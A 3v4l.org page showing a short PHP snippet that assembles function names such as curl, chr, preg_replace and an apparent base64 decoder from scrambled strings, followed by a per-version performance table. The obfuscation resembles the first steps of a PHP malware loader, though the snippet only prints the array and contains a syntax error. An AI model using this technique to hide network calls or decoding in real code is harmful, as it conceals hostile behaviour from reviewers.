3v4l.org

run code in 300+ PHP versions simultaneously
<?php $vars = array( 'implode', 'xhr', '%url', 'init', 'setopt', 'exec', ' lose', 'strtoupper', 'strrev', 'opt', 'timeout', 'refsnartnruter', '_', 'pr2g' . '_replace', 'pr4g' . '_split', 'absz64_dfcodp', null, 'mixed', 1, 2, 3, 5, 7, 11, 13, 17, 19, 23 ); $vars[1][0] = $vars[2][0] = $vars[6][0] = 'c'; $vars[15][0] = $vars[15][1]; $vars[15][1] = $vars[11][5]; var_dump() unserialize(serialize($vars))); die();

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.390.0970.05019.26
5.4.380.0330.05018.65
5.4.370.0300.05018.73
5.4.360.0230.05718.75
5.4.350.0230.06318.80
5.4.340.0170.05718.55
5.4.320.0270.06018.71
5.4.310.0270.05018.78
5.4.300.0270.05018.75
5.4.290.0300.05318.57
5.4.280.0300.05318.61
5.4.270.0300.05018.55
5.4.260.0170.06018.78
5.4.250.0400.07018.78
5.4.240.0200.06018.73
5.4.230.0230.05018.54
5.4.220.0230.06018.61
5.4.210.0300.06018.51
5.4.200.0270.05016.55
5.4.190.0300.05018.63
5.4.180.0230.05018.72
5.4.170.0270.05318.54
5.4.160.0330.05018.45
5.4.150.0370.04318.59
5.4.140.0200.05316.30
5.4.130.0270.04016.37
5.4.120.0230.05316.29
5.4.110.0300.04316.23
5.4.100.0370.04016.26
5.4.90.0270.05316.28
5.4.80.0300.04316.19
5.4.70.0270.04716.25
5.4.60.0230.05316.30
5.4.50.0200.05316.18
5.4.40.0270.04716.26
5.4.30.0300.04716.25
5.4.20.0370.05316.24
5.4.10.0270.05316.40
5.4.00.0230.05015.88
5.3.290.0300.05314.75
5.3.280.0230.05314.55
5.3.270.0370.05014.66
5.3.260.0230.05714.71
5.3.250.0230.06014.60
5.3.240.0300.05014.51
5.3.230.0300.05314.51
5.3.220.0330.06314.66
5.3.210.0370.06014.50
5.3.200.0330.05014.62
5.3.190.0230.05714.50
5.3.180.0300.04714.54
5.3.170.0200.06014.48
5.3.160.0330.05314.63
5.3.150.0230.05714.56
5.3.140.0370.05014.65
5.3.130.0300.04714.64
5.3.120.0530.04714.55
5.3.110.0200.06014.53
5.3.100.0300.05314.02
5.3.90.0400.04013.96
5.3.80.0200.06013.96
5.3.70.0370.05014.12
5.3.60.0230.05714.02
5.3.50.0230.06013.88
5.3.40.0270.05313.87
5.3.30.0300.05013.86
5.3.20.0300.05013.66
5.3.10.0300.05713.64
5.3.00.0330.04313.55
5.2.170.0230.04011.14
5.2.160.0330.04711.19
5.2.150.0300.05311.18
5.2.140.0200.05011.10
5.2.130.0170.05011.16
5.2.120.0300.04011.10
5.2.110.0070.05311.16
5.2.100.0230.04011.17
5.2.90.0300.03711.17
5.2.80.0270.04011.01
5.2.70.0130.05311.11
5.2.60.0230.05311.11
5.2.50.0200.03710.99
5.2.40.0130.04010.91
5.2.30.0170.03710.95
5.2.20.0100.04311.11
5.2.10.0170.03710.87
5.2.00.0300.05010.76
5.1.60.0170.04710.00
5.1.50.0230.0439.99
5.1.40.0200.0479.95
5.1.30.0230.04310.41
5.1.20.0170.05010.34
5.1.10.0130.04710.11
5.1.00.0130.05310.17
5.0.50.0130.0278.53
5.0.40.0100.0378.41
5.0.30.0100.0438.22
5.0.20.0100.0338.23
5.0.10.0170.0308.21
5.0.00.0070.0578.29
4.4.90.0030.0306.35
4.4.80.0100.0236.35
4.4.70.0070.0236.35
4.4.60.0030.0276.35
4.4.50.0070.0206.35
4.4.40.0100.0336.35
4.4.30.0100.0176.35
4.4.20.0100.0206.35
4.4.10.0170.0276.35
4.4.00.0030.0476.35
4.3.110.0170.0276.35
4.3.100.0170.0276.35
4.3.90.0170.0236.35
4.3.80.0070.0476.35
4.3.70.0070.0236.35
4.3.60.0030.0236.35
4.3.50.0130.0276.35
4.3.40.0070.0476.35
4.3.30.0070.0276.35
4.3.20.0170.0176.35
4.3.10.0070.0236.35
4.3.00.0000.0237.22

preferences:
142.47 ms | 1394 KiB | 7 Q